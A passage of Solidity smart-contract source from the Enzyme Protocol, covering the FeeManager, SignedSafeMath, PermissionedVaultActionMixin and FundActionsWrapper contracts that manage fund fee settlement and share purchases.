address _comptrollerProxy,
address _vaultProxy,
uint256 _gav
) private returns (int256 sharesDue_) {
ERC20 sharesTokenContract = ERC20(_vaultProxy);
uint256 totalSharesSupply = sharesTokenContract.totalSupply();
if (totalSharesSupply == 0) {
return 0;
}
uint256 totalSharesOutstanding = sharesTokenContract.balanceOf(_vaultProxy);
if (totalSharesOutstanding == totalSharesSupply) {
return 0;
}
FeeInfo storage feeInfo = comptrollerProxyToFeeInfo[_comptrollerProxy];
uint256 prevAggregateValueDue = feeInfo.aggregateValueDue;
uint256 nextAggregateValueDue;
(nextAggregateValueDue, sharesDue_) = __calcPerformance(
_comptrollerProxy,
totalSharesSupply,
totalSharesOutstanding,
prevAggregateValueDue,
feeInfo,
_gav
);
if (nextAggregateValueDue == prevAggregateValueDue) {
return 0;
}
// Update fee state
feeInfo.aggregateValueDue = nextAggregateValueDue;
emit PerformanceUpdated(
_comptrollerProxy,
prevAggregateValueDue,
nextAggregateValueDue,
sharesDue_
);
return sharesDue_;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the feeInfo for a given fund
/// @param _comptrollerProxy The ComptrollerProxy contract of the fund
/// @return feeInfo_ The feeInfo
function getFeeInfoForFund(address _comptrollerProxy)
external
view
returns (FeeInfo memory feeInfo_)
{
return comptrollerProxyToFeeInfo[_comptrollerProxy];
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "../../core/fund/comptroller/IComptroller.sol";
import "../../core/fund/vault/IVault.sol";
import "../../utils/AddressArrayLib.sol";
import "../utils/ExtensionBase.sol";
import "../utils/FundDeployerOwnerMixin.sol";
import "../utils/PermissionedVaultActionMixin.sol";
import "./IFee.sol";
import "./IFeeManager.sol";
/// @title FeeManager Contract
/// @author Enzyme Council <[email protected]>
/// @notice Manages fees for funds
contract FeeManager is
IFeeManager,
ExtensionBase,
FundDeployerOwnerMixin,
PermissionedVaultActionMixin
{
using AddressArrayLib for address[];
using EnumerableSet for EnumerableSet.AddressSet;
using SafeMath for uint256;
event AllSharesOutstandingForcePaidForFund(
address indexed comptrollerProxy,
address payee,
uint256 sharesDue
);
event FeeDeregistered(address indexed fee, string indexed identifier);
event FeeEnabledForFund(
address indexed comptrollerProxy,
address indexed fee,
bytes settingsData
);
event FeeRegistered(
address indexed fee,
string indexed identifier,
FeeHook[] implementedHooksForSettle,
FeeHook[] implementedHooksForUpdate,
bool usesGavOnSettle,
bool usesGavOnUpdate
);
event FeeSettledForFund(
address indexed comptrollerProxy,
address indexed fee,
SettlementType indexed settlementType,
address payer,
address payee,
uint256 sharesDue
);
event SharesOutstandingPaidForFund(
address indexed comptrollerProxy,
address indexed fee,
uint256 sharesDue
);
event FeesRecipientSetForFund(
address indexed comptrollerProxy,
address prevFeesRecipient,
address nextFeesRecipient
);
EnumerableSet.AddressSet private registeredFees;
mapping(address => bool) private feeToUsesGavOnSettle;
mapping(address => bool) private feeToUsesGavOnUpdate;
mapping(address => mapping(FeeHook => bool)) private feeToHookToImplementsSettle;
mapping(address => mapping(FeeHook => bool)) private feeToHookToImplementsUpdate;
mapping(address => address[]) private comptrollerProxyToFees;
mapping(address => mapping(address => uint256))
private comptrollerProxyToFeeToSharesOutstanding;
constructor(address _fundDeployer) public FundDeployerOwnerMixin(_fundDeployer) {}
// EXTERNAL FUNCTIONS
/// @notice Activate already-configured fees for use in the calling fund
function activateForFund(bool) external override {
address vaultProxy = __setValidatedVaultProxy(msg.sender);
address[] memory enabledFees = comptrollerProxyToFees[msg.sender];
for (uint256 i; i < enabledFees.length; i++) {
IFee(enabledFees[i]).activateForFund(msg.sender, vaultProxy);
}
}
/// @notice Deactivate fees for a fund
/// @dev msg.sender is validated during __invokeHook()
function deactivateForFund() external override {
// Settle continuous fees one last time, but without calling Fee.update()
__invokeHook(msg.sender, IFeeManager.FeeHook.Continuous, "", 0, false);
// Force payout of remaining shares outstanding
__forcePayoutAllSharesOutstanding(msg.sender);
// Clean up storage
__deleteFundStorage(msg.sender);
}
/// @notice Receives a dispatched `callOnExtension` from a fund's ComptrollerProxy
/// @param _actionId An ID representing the desired action
/// @param _callArgs Encoded arguments specific to the _actionId
/// @dev This is the only way to call a function on this contract that updates VaultProxy state.
/// For both of these actions, any caller is allowed, so we don't use the caller param.
function receiveCallFromComptroller(
address,
uint256 _actionId,
bytes calldata _callArgs
) external override {
if (_actionId == 0) {
// Settle and update all continuous fees
__invokeHook(msg.sender, IFeeManager.FeeHook.Continuous, "", 0, true);
} else if (_actionId == 1) {
__payoutSharesOutstandingForFees(msg.sender, _callArgs);
} else {
revert("receiveCallFromComptroller: Invalid _actionId");
}
}
/// @notice Enable and configure fees for use in the calling fund
/// @param _configData Encoded config data
/// @dev Caller is expected to be a valid ComptrollerProxy, but there isn't a need to validate.
/// The order of `fees` determines the order in which fees of the same FeeHook will be applied.
/// It is recommended to run ManagementFee before PerformanceFee in order to achieve precise
/// PerformanceFee calcs.
function setConfigForFund(bytes calldata _configData) external override {
(address[] memory fees, bytes[] memory settingsData) = abi.decode(
_configData,
(address[], bytes[])
);
// Sanity checks
require(
fees.length == settingsData.length,
"setConfigForFund: fees and settingsData array lengths unequal"
);
require(fees.isUniqueSet(), "setConfigForFund: fees cannot include duplicates");
// Enable each fee with settings
for (uint256 i; i < fees.length; i++) {
require(isRegisteredFee(fees[i]), "setConfigForFund: Fee is not registered");
// Set fund config on fee
IFee(fees[i]).addFundSettings(msg.sender, settingsData[i]);
// Enable fee for fund
comptrollerProxyToFees[msg.sender].push(fees[i]);
emit FeeEnabledForFund(msg.sender, fees[i], settingsData[i]);
}
}
/// @notice Allows all fees for a particular FeeHook to implement settle() and update() logic
/// @param _hook The FeeHook to invoke
/// @param _settlementData The encoded settlement parameters specific to the FeeHook
/// @param _gav The GAV for a fund if known in the invocating code, otherwise 0
function invokeHook(
FeeHook _hook,
bytes calldata _settlementData,
uint256 _gav
) external override {
__invokeHook(msg.sender, _hook, _settlementData, _gav, true);
}
// PRIVATE FUNCTIONS
/// @dev Helper to destroy local storage to get gas refund,
/// and to prevent further calls to fee manager
function __deleteFundStorage(address _comptrollerProxy) private {
delete comptrollerProxyToFees[_comptrollerProxy];
delete comptrollerProxyToVaultProxy[_comptrollerProxy];
}
/// @dev Helper to force the payout of shares outstanding across all fees.
/// For the current release, all shares in the VaultProxy are assumed to be
/// shares outstanding from fees. If not, then they were sent there by mistake
/// and are otherwise unrecoverable. We can therefore take the VaultProxy's
/// shares balance as the totalSharesOutstanding to payout to the fund owner.
function __forcePayoutAllSharesOutstanding(address _comptrollerProxy) private {
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
uint256 totalSharesOutstanding = ERC20(vaultProxy).balanceOf(vaultProxy);
if (totalSharesOutstanding == 0) {
return;
}
// Destroy any shares outstanding storage
address[] memory fees = comptrollerProxyToFees[_comptrollerProxy];
for (uint256 i; i < fees.length; i++) {
delete comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][fees[i]];
}
// Distribute all shares outstanding to the fees recipient
address payee = IVault(vaultProxy).getOwner();
__transferShares(_comptrollerProxy, vaultProxy, payee, totalSharesOutstanding);
emit AllSharesOutstandingForcePaidForFund(
_comptrollerProxy,
payee,
totalSharesOutstanding
);
}
/// @dev Helper to get the canonical value of GAV if not yet set and required by fee
function __getGavAsNecessary(
address _comptrollerProxy,
address _fee,
uint256 _gavOrZero
) private returns (uint256 gav_) {
if (_gavOrZero == 0 && feeUsesGavOnUpdate(_fee)) {
// Assumes that any fee that requires GAV would need to revert if invalid or not final
bool gavIsValid;
(gav_, gavIsValid) = IComptroller(_comptrollerProxy).calcGav(true);
require(gavIsValid, "__getGavAsNecessary: Invalid GAV");
} else {
gav_ = _gavOrZero;
}
return gav_;
}
/// @dev Helper to run settle() on all enabled fees for a fund that implement a given hook, and then to
/// optionally run update() on the same fees. This order allows fees an opportunity to update
/// their local state after all VaultProxy state transitions (i.e., minting, burning,
/// transferring shares) have finished. To optimize for the expensive operation of calculating
/// GAV, once one fee requires GAV, we recycle that `gav` value for subsequent fees.
/// Assumes that _gav is either 0 or has already been validated.
function __invokeHook(
address _comptrollerProxy,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gavOrZero,
bool _updateFees
) private {
address[] memory fees = comptrollerProxyToFees[_comptrollerProxy];
if (fees.length == 0) {
return;
}
address vaultProxy = getVaultProxyForFund(_comptrollerProxy);
// This check isn't strictly necessary, but its cost is insignificant,
// and helps to preserve data integrity.
require(vaultProxy != address(0), "__invokeHook: Fund is not active");
// First, allow all fees to implement settle()
uint256 gav = __settleFees(
_comptrollerProxy,
vaultProxy,
fees,
_hook,
_settlementData,
_gavOrZero
);
// Second, allow fees to implement update()
// This function does not allow any further altering of VaultProxy state
// (i.e., burning, minting, or transferring shares)
if (_updateFees) {
__updateFees(_comptrollerProxy, vaultProxy, fees, _hook, _settlementData, gav);
}
}
/// @dev Helper to payout the shares outstanding for the specified fees.
/// Does not call settle() on fees.
/// Only callable via ComptrollerProxy.callOnExtension().
function __payoutSharesOutstandingForFees(address _comptrollerProxy, bytes memory _callArgs)
private
{
address[] memory fees = abi.decode(_callArgs, (address[]));
address vaultProxy = getVaultProxyForFund(msg.sender);
uint256 sharesOutstandingDue;
for (uint256 i; i < fees.length; i++) {
if (!IFee(fees[i]).payout(_comptrollerProxy, vaultProxy)) {
continue;
}
uint256 sharesOutstandingForFee
= comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][fees[i]];
if (sharesOutstandingForFee == 0) {
continue;
}
sharesOutstandingDue = sharesOutstandingDue.add(sharesOutstandingForFee);
// Delete shares outstanding and distribute from VaultProxy to the fees recipient
comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][fees[i]] = 0;
emit SharesOutstandingPaidForFund(_comptrollerProxy, fees[i], sharesOutstandingForFee);
}
if (sharesOutstandingDue > 0) {
__transferShares(
_comptrollerProxy,
vaultProxy,
IVault(vaultProxy).getOwner(),
sharesOutstandingDue
);
}
}
/// @dev Helper to settle a fee
function __settleFee(
address _comptrollerProxy,
address _vaultProxy,
address _fee,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gav
) private {
(SettlementType settlementType, address payer, uint256 sharesDue) = IFee(_fee).settle(
_comptrollerProxy,
_vaultProxy,
_hook,
_settlementData,
_gav
);
if (settlementType == SettlementType.None) {
return;
}
address payee;
if (settlementType == SettlementType.Direct) {
payee = IVault(_vaultProxy).getOwner();
__transferShares(_comptrollerProxy, payer, payee, sharesDue);
} else if (settlementType == SettlementType.Mint) {
payee = IVault(_vaultProxy).getOwner();
__mintShares(_comptrollerProxy, payee, sharesDue);
} else if (settlementType == SettlementType.Burn) {
__burnShares(_comptrollerProxy, payer, sharesDue);
} else if (settlementType == SettlementType.MintSharesOutstanding) {
comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee] = comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee]
.add(sharesDue);
payee = _vaultProxy;
__mintShares(_comptrollerProxy, payee, sharesDue);
} else if (settlementType == SettlementType.BurnSharesOutstanding) {
comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee] = comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee]
.sub(sharesDue);
payer = _vaultProxy;
__burnShares(_comptrollerProxy, payer, sharesDue);
} else {
revert("__settleFee: Invalid SettlementType");
}
emit FeeSettledForFund(_comptrollerProxy, _fee, settlementType, payer, payee, sharesDue);
}
/// @dev Helper to settle fees that implement a given fee hook
function __settleFees(
address _comptrollerProxy,
address _vaultProxy,
address[] memory _fees,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gavOrZero
) private returns (uint256 gav_) {
gav_ = _gavOrZero;
for (uint256 i; i < _fees.length; i++) {
if (!feeSettlesOnHook(_fees[i], _hook)) {
continue;
}
gav_ = __getGavAsNecessary(_comptrollerProxy, _fees[i], gav_);
__settleFee(_comptrollerProxy, _vaultProxy, _fees[i], _hook, _settlementData, gav_);
}
return gav_;
}
/// @dev Helper to update fees that implement a given fee hook
function __updateFees(
address _comptrollerProxy,
address _vaultProxy,
address[] memory _fees,
FeeHook _hook,
bytes memory _settlementData,
uint256 _gavOrZero
) private {
uint256 gav = _gavOrZero;
for (uint256 i; i < _fees.length; i++) {
if (!feeUpdatesOnHook(_fees[i], _hook)) {
continue;
}
gav = __getGavAsNecessary(_comptrollerProxy, _fees[i], gav);
IFee(_fees[i]).update(_comptrollerProxy, _vaultProxy, _hook, _settlementData, gav);
}
}
///////////////////
// FEES REGISTRY //
///////////////////
/// @notice Remove fees from the list of registered fees
/// @param _fees Addresses of fees to be deregistered
function deregisterFees(address[] calldata _fees) external onlyFundDeployerOwner {
require(_fees.length > 0, "deregisterFees: _fees cannot be empty");
for (uint256 i; i < _fees.length; i++) {
require(isRegisteredFee(_fees[i]), "deregisterFees: fee is not registered");
registeredFees.remove(_fees[i]);
emit FeeDeregistered(_fees[i], IFee(_fees[i]).identifier());
}
}
/// @notice Add fees to the list of registered fees
/// @param _fees Addresses of fees to be registered
/// @dev Stores the hooks that a fee implements and whether each implementation uses GAV,
/// which fronts the gas for calls to check if a hook is implemented, and guarantees
/// that these hook implementation return values do not change post-registration.
function registerFees(address[] calldata _fees) external onlyFundDeployerOwner {
require(_fees.length > 0, "registerFees: _fees cannot be empty");
for (uint256 i; i < _fees.length; i++) {
require(!isRegisteredFee(_fees[i]), "registerFees: fee already registered");
registeredFees.add(_fees[i]);
IFee feeContract = IFee(_fees[i]);
(
FeeHook[] memory implementedHooksForSettle,
FeeHook[] memory implementedHooksForUpdate,
bool usesGavOnSettle,
bool usesGavOnUpdate
) = feeContract.implementedHooks();
// Stores the hooks for which each fee implements settle() and update()
for (uint256 j; j < implementedHooksForSettle.length; j++) {
feeToHookToImplementsSettle[_fees[i]][implementedHooksForSettle[j]] = true;
}
for (uint256 j; j < implementedHooksForUpdate.length; j++) {
feeToHookToImplementsUpdate[_fees[i]][implementedHooksForUpdate[j]] = true;
}
// Stores whether each fee requires GAV during its implementations for settle() and update()
if (usesGavOnSettle) {
feeToUsesGavOnSettle[_fees[i]] = true;
}
if (usesGavOnUpdate) {
feeToUsesGavOnUpdate[_fees[i]] = true;
}
emit FeeRegistered(
_fees[i],
feeContract.identifier(),
implementedHooksForSettle,
implementedHooksForUpdate,
usesGavOnSettle,
usesGavOnUpdate
);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Get a list of enabled fees for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return enabledFees_ An array of enabled fee addresses
function getEnabledFeesForFund(address _comptrollerProxy)
external
view
returns (address[] memory enabledFees_)
{
return comptrollerProxyToFees[_comptrollerProxy];
}
/// @notice Get the amount of shares outstanding for a particular fee for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _fee The fee address
/// @return sharesOutstanding_ The amount of shares outstanding
function getFeeSharesOutstandingForFund(address _comptrollerProxy, address _fee)
external
view
returns (uint256 sharesOutstanding_)
{
return comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee];
}
/// @notice Get all registered fees
/// @return registeredFees_ A list of all registered fee addresses
function getRegisteredFees() external view returns (address[] memory registeredFees_) {
registeredFees_ = new address[](registeredFees.length());
for (uint256 i; i < registeredFees_.length; i++) {
registeredFees_[i] = registeredFees.at(i);
}
return registeredFees_;
}
/// @notice Checks if a fee implements settle() on a particular hook
/// @param _fee The address of the fee to check
/// @param _hook The FeeHook to check
/// @return settlesOnHook_ True if the fee settles on the given hook
function feeSettlesOnHook(address _fee, FeeHook _hook)
public
view
returns (bool settlesOnHook_)
{
return feeToHookToImplementsSettle[_fee][_hook];
}
/// @notice Checks if a fee implements update() on a particular hook
/// @param _fee The address of the fee to check
/// @param _hook The FeeHook to check
/// @return updatesOnHook_ True if the fee updates on the given hook
function feeUpdatesOnHook(address _fee, FeeHook _hook)
public
view
returns (bool updatesOnHook_)
{
return feeToHookToImplementsUpdate[_fee][_hook];
}
/// @notice Checks if a fee uses GAV in its settle() implementation
/// @param _fee The address of the fee to check
/// @return usesGav_ True if the fee uses GAV during settle() implementation
function feeUsesGavOnSettle(address _fee) public view returns (bool usesGav_) {
return feeToUsesGavOnSettle[_fee];
}
/// @notice Checks if a fee uses GAV in its update() implementation
/// @param _fee The address of the fee to check
/// @return usesGav_ True if the fee uses GAV during update() implementation
function feeUsesGavOnUpdate(address _fee) public view returns (bool usesGav_) {
return feeToUsesGavOnUpdate[_fee];
}
/// @notice Check whether a fee is registered
/// @param _fee The address of the fee to check
/// @return isRegisteredFee_ True if the fee is registered
function isRegisteredFee(address _fee) public view returns (bool isRegisteredFee_) {
return registeredFees.contains(_fee);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../core/fund/comptroller/IComptroller.sol";
/// @title PermissionedVaultActionMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract for extensions that can make permissioned vault calls
abstract contract PermissionedVaultActionMixin {
/// @notice Adds a tracked asset to the fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset to add
function __addTrackedAsset(address _comptrollerProxy, address _asset) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.AddTrackedAsset,
abi.encode(_asset)
);
}
/// @notice Grants an allowance to a spender to use a fund's asset
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset for which to grant an allowance
/// @param _target The spender of the allowance
/// @param _amount The amount of the allowance
function __approveAssetSpender(
address _comptrollerProxy,
address _asset,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.ApproveAssetSpender,
abi.encode(_asset, _target, _amount)
);
}
/// @notice Burns fund shares for a particular account
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _target The account for which to burn shares
/// @param _amount The amount of shares to burn
function __burnShares(
address _comptrollerProxy,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.BurnShares,
abi.encode(_target, _amount)
);
}
/// @notice Mints fund shares to a particular account
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _target The account to which to mint shares
/// @param _amount The amount of shares to mint
function __mintShares(
address _comptrollerProxy,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.MintShares,
abi.encode(_target, _amount)
);
}
/// @notice Removes a tracked asset from the fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset to remove
function __removeTrackedAsset(address _comptrollerProxy, address _asset) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.RemoveTrackedAsset,
abi.encode(_asset)
);
}
/// @notice Transfers fund shares from one account to another
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _from The account from which to transfer shares
/// @param _to The account to which to transfer shares
/// @param _amount The amount of shares to transfer
function __transferShares(
address _comptrollerProxy,
address _from,
address _to,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.TransferShares,
abi.encode(_from, _to, _amount)
);
}
/// @notice Withdraws an asset from the VaultProxy to a given account
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset to withdraw
/// @param _target The account to which to withdraw the asset
/// @param _amount The amount of asset to withdraw
function __withdrawAssetTo(
address _comptrollerProxy,
address _asset,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.WithdrawAssetTo,
abi.encode(_asset, _target, _amount)
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../interfaces/IWETH.sol";
import "../core/fund/comptroller/ComptrollerLib.sol";
import "../extensions/fee-manager/FeeManager.sol";
/// @title FundActionsWrapper Contract
/// @author Enzyme Council <[email protected]>
/// @notice Logic related to wrapping fund actions, not necessary in the core protocol
contract FundActionsWrapper {
using SafeERC20 for ERC20;
address private immutable FEE_MANAGER;
address private immutable WETH_TOKEN;
mapping(address => bool) private accountToHasMaxWethAllowance;
constructor(address _feeManager, address _weth) public {
FEE_MANAGER = _feeManager;
WETH_TOKEN = _weth;
}
/// @dev Needed in case WETH not fully used during exchangeAndBuyShares,
/// to unwrap into ETH and refund
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Calculates the net value of 1 unit of shares in the fund's denomination asset
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return netShareValue_ The amount of the denomination asset per share
/// @return isValid_ True if the conversion rates to derive the value are all valid
/// @dev Accounts for fees outstanding. This is a convenience function for external consumption
/// that can be used to determine the cost of purchasing shares at any given point in time.
/// It essentially just bundles settling all fees that implement the Continuous hook and then
/// looking up the gross share value.
function calcNetShareValueForFund(address _comptrollerProxy)
external
returns (uint256 netShareValue_, bool isValid_)
{
ComptrollerLib comptrollerProxyContract = ComptrollerLib(_comptrollerProxy);
comptrollerProxyContract.callOnExtension(FEE_MANAGER, 0, "");
return comptrollerProxyContract.calcGrossShareValue(false);
}
/// @notice Exchanges ETH into a fund's denomination asset and then buys shares
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _buyer The account for which to buy shares
/// @param _minSharesQuantity The minimum quantity of shares to buy with the sent ETH
/// @param _exchange The exchange on which to execute the swap to the denomination asset
/// @param _exchangeApproveTarget The address that should be given an allowance of WETH
/// for the given _exchange
/// @param _exchangeData The data with which to call the exchange to execute the swap
/// to the denomination asset
/// @param _minInvestmentAmount The minimum amount of the denomination asset
/// to receive in the trade for investment (not necessary for WETH)
/// @return sharesReceivedAmount_ The actual amount of shares received
/// @dev Use a reasonable _minInvestmentAmount always, in case the exchange
/// does not perform as expected (low incoming asset amount, blend of assets, etc).
/// If the fund's denomination asset is WETH, _exchange, _exchangeApproveTarget, _exchangeData,
/// and _minInvestmentAmount will be ignored.
function exchangeAndBuyShares(
address _comptrollerProxy,
address _denominationAsset,
address _buyer,
uint256 _minSharesQuantity,
address _exchange,
address _exchangeApproveTarget,
bytes calldata _exchangeData,
uint256 _minInvestmentAmount
) external payable returns (uint256 sharesReceivedAmount_) {
// Wrap ETH into WETH
IWETH(payable(WETH_TOKEN)).deposit{value: msg.value}();
// If denominationAsset is WETH, can just buy shares directly
if (_denominationAsset == WETH_TOKEN) {
__approveMaxWethAsNeeded(_comptrollerProxy);
return __buyShares(_comptrollerProxy, _buyer, msg.value, _minSharesQuantity);
}
// Exchange ETH to the fund's denomination asset
__approveMaxWethAsNeeded(_exchangeApproveTarget);
(bool success, bytes memory returnData) = _exchange.call(_exchangeData);
require(success, string(returnData));
// Confirm the amount received in the exchange is above the min acceptable amount
uint256 investmentAmount = ERC20(_denominationAsset).balanceOf(address(this));
require(
investmentAmount >= _minInvestmentAmount,
"exchangeAndBuyShares: _minInvestmentAmount not met"
);
// Give the ComptrollerProxy max allowance for its denomination asset as necessary
__approveMaxAsNeeded(_denominationAsset, _comptrollerProxy, investmentAmount);
// Buy fund shares
sharesReceivedAmount_ = __buyShares(
_comptrollerProxy,
_buyer,
investmentAmount,
_minSharesQuantity
);
// Unwrap and refund any remaining WETH not used in the exchange
uint256 remainingWeth = ERC20(WETH_TOKEN).balanceOf(address(this));
if (remainingWeth > 0) {
IWETH(payable(WETH_TOKEN)).withdraw(remainingWeth);
(success, returnData) = msg.sender.call{value: remainingWeth}("");
require(success, string(returnData));
}
return sharesReceivedAmount_;
}
/// @notice Invokes the Continuous fee hook on all specified fees, and then attempts to payout
/// any shares outstanding on those fees
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _fees The fees for which to run these actions
/// @dev This is just a wrapper to execute two callOnExtension() actions atomically, in sequence.
/// The caller must pass in the fees that they want to run this logic on.
function invokeContinuousFeeHookAndPayoutSharesOutstandingForFund(
address _comptrollerProxy,
address[] calldata _fees
) external {
ComptrollerLib comptrollerProxyContract = ComptrollerLib(_comptrollerProxy);
comptrollerProxyContract.callOnExtension(FEE_MANAGER, 0, "");
comptrollerProxyContract.callOnExtension(FEE_MANAGER, 1, abi.encode(_fees));
}
// PUBLIC FUNCTIONS
/// @notice Gets all fees that implement the `Continuous` fee hook for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return continuousFees_ The fees that implement the `Continuous` fee hook
function getContinuousFeesForFund(address _comptrollerProxy)
public
view
returns (address[] memory continuousFees_)
{
FeeManager feeManagerContract = FeeManager(FEE_MANAGER);
address[] memory fees = feeManagerContract.getEnabledFeesForFund(_comptrollerProxy);
// Count the continuous fees
uint256 continuousFeesCount;
bool[] memory implementsContinuousHook = new bool[](fees.length);
for (uint256 i; i < fees.length; i++) {
if (feeManagerContract.feeSettlesOnHook(fees[i], IFeeManager.FeeHook.Continuous)) {
continuousFeesCount++;
implementsContinuousHook[i] = true;
}
}
// Return early if no continuous fees
if (continuousFeesCount == 0) {
return new address[](0);
}
// Create continuous fees array
continuousFees_ = new address[](continuousFeesCount);
uint256 continuousFeesIndex;
for (uint256 i; i < fees.length; i++) {
if (implementsContinuousHook[i]) {
continuousFees_[continuousFeesIndex] = fees[i];
continuousFeesIndex++;
}
}
return continuousFees_;
}
// PRIVATE FUNCTIONS
/// @dev Helper to approve a target with the max amount of an asset, only when necessary
function __approveMaxAsNeeded(
address _asset,
address _target,
uint256 _neededAmount
) internal {
if (ERC20(_asset).allowance(address(this), _target) < _neededAmount) {
ERC20(_asset).safeApprove(_target, type(uint256).max);
}
}
/// @dev Helper to approve a target with the max amount of weth, only when necessary.
/// Since WETH does not decrease the allowance if it uint256(-1), only ever need to do this
/// once per target.
function __approveMaxWethAsNeeded(address _target) internal {
if (!accountHasMaxWethAllowance(_target)) {
ERC20(WETH_TOKEN).safeApprove(_target, type(uint256).max);
accountToHasMaxWethAllowance[_target] = true;
}
}
/// @dev Helper for buying shares
function __buyShares(
address _comptrollerProxy,
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity
) private returns (uint256 sharesReceivedAmount_) {
address[] memory buyers = new address[](1);
buyers[0] = _buyer;
uint256[] memory investmentAmounts = new uint256[](1);
investmentAmounts[0] = _investmentAmount;
uint256[] memory minSharesQuantities = new uint256[](1);
minSharesQuantities[0] = _minSharesQuantity;
return
ComptrollerLib(_comptrollerProxy).buyShares(
buyers,
investmentAmounts,
minSharesQuantities
)[0];
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FEE_MANAGER` variable
/// @return feeManager_ The `FEE_MANAGER` variable value
function getFeeManager() external view returns (address feeManager_) {
return FEE_MANAGER;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
/// @notice Checks whether an account has the max allowance for WETH
/// @param _who The account to check
/// @return hasMaxWethAllowance_ True if the account has the max allowance
function accountHasMaxWethAllowance(address _who)
public
view
returns (bool hasMaxWethAllowance_)
{
return accountToHasMaxWethAllowance[_who];
}
